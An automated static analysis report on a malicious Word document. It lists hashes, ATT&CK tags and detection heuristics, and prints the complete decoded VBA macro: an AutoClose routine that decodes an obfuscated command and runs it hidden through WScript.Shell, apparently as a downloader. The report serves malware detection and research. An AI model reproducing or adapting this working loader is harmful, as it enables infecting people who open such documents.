Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d7841ad990416b6c…

MALICIOUS

Office (OOXML)

53.8 KB Created: 2017-12-19 14:28:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: ad41641fc3eb31fe2130b5358e39b724 SHA-1: d448756c51b53ec040d4b80f02fa59276b26560b SHA-256: d7841ad990416b6c46e98331ca6ca133be96dd1c463407f1b0e4bc759b002cfa
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro utilizes obfuscation techniques and calls `Shell()` and `CreateObject()`, indicating an intent to download and execute a second-stage payload. The `AutoClose` macro is triggered upon document closure, further suggesting malicious execution.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6707243-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6707243-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If cananaean - sewage > 1 Then
       CreateObject(Trim(amidoacetic) & ".Shell").Run constructor, 0
       junebud = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "unadjust", mononuclears
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If cananaean - sewage > 1 Then
       CreateObject(Trim(amidoacetic) & ".Shell").Run constructor, 0
       junebud = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  dogwoods = Array("b", "k", "I", "X", "c", "1", "f", "h", "f", "Z", "I", "X", "X", "q", "N", "W", "W", "k", "w", "4", "A", "f", "7", "w", "P", "I", "2", "A", "f", "j", "I", "w", "f", "e", "A", "t", "j", "7", "j", "k", "1", "P", "j", "b", "W", "Q", "i", "9", "W", "e", "A", "b", "c", "1", "q", "I", "q", "", "w", "X", "b", "c", "J", "t", "f", "o", "k", "w", "k", "f")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2085 bytes
SHA-256: e782a29ae9dfeec2cb91276097a109d00d29212cf523801e94956a9155285fec
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function surfbird(dogwoods)
  scarabaeoid = Array("4", "I", "h", "e", "c", "7", "Q", "X", "9", "2", "W", "f", "", "o", "j", "w", "i", "b", "k", "P", "J", "Z", "A", "t", "N", "q", "1")
  tweak = Array("k", "h", "x", "l", "a", "b", "A", "t", "K", "n", "/", "e", "?", "r", "o", "u", "F", "m", "s", "c", "=", " ", "i", "v", ":", "p", ".")
  
  unbetrothed = vbNullString
  
  For Each cistaceae In dogwoods
    menthenone = tipcarts(cistaceae, scarabaeoid, UBound(scarabaeoid))
    If menthenone > -1 Then
    unbetrothed = tweak(menthenone) & unbetrothed
    End If
  Next
  
  surfbird = StrReverse(unbetrothed)
  
End Function

Public Function tipcarts(saturnian, vaudois, load)
  tarpaulins = 5553
  gnomist = 772
  For tarpaulins = 0 To load
    If vaudois(tarpaulins) = saturnian And tarpaulins > -1 Then
     gnomist = tarpaulins
    End If
  Next

  If gnomist = 772 Then
    gnomist = -1
  End If
  
  tipcarts = gnomist
End Function

Sub AutoClose()
  dogwoods = Array("b", "k", "I", "X", "c", "1", "f", "h", "f", "Z", "I", "X", "X", "q", "N", "W", "W", "k", "w", "4", "A", "f", "7", "w", "P", "I", "2", "A", "f", "j", "I", "w", "f", "e", "A", "t", "j", "7", "j", "k", "1", "P", "j", "b", "W", "Q", "i", "9", "W", "e", "A", "b", "c", "1", "q", "I", "q", "", "w", "X", "b", "c", "J", "t", "f", "o", "k", "w", "k", "f")
  mononuclears = surfbird(dogwoods)
  
  Application.Run "unadjust", mononuclears
  
End Sub


Private Sub unadjust(constructor)
   
   amidoacetic = "WScript"
   sewage = 3271
   junebud = True
   
   While junebud
     cananaean = sewage + 60
     If cananaean - sewage > 1 Then
       CreateObject(Trim(amidoacetic) & ".Shell").Run constructor, 0
       junebud = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: ad06f670f6073b93e5a13adc7564e97974a8c83f3f95ffdfb04c1437a2b61596
Detection
ClamAV: Doc.Malware.Generic-6707243-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.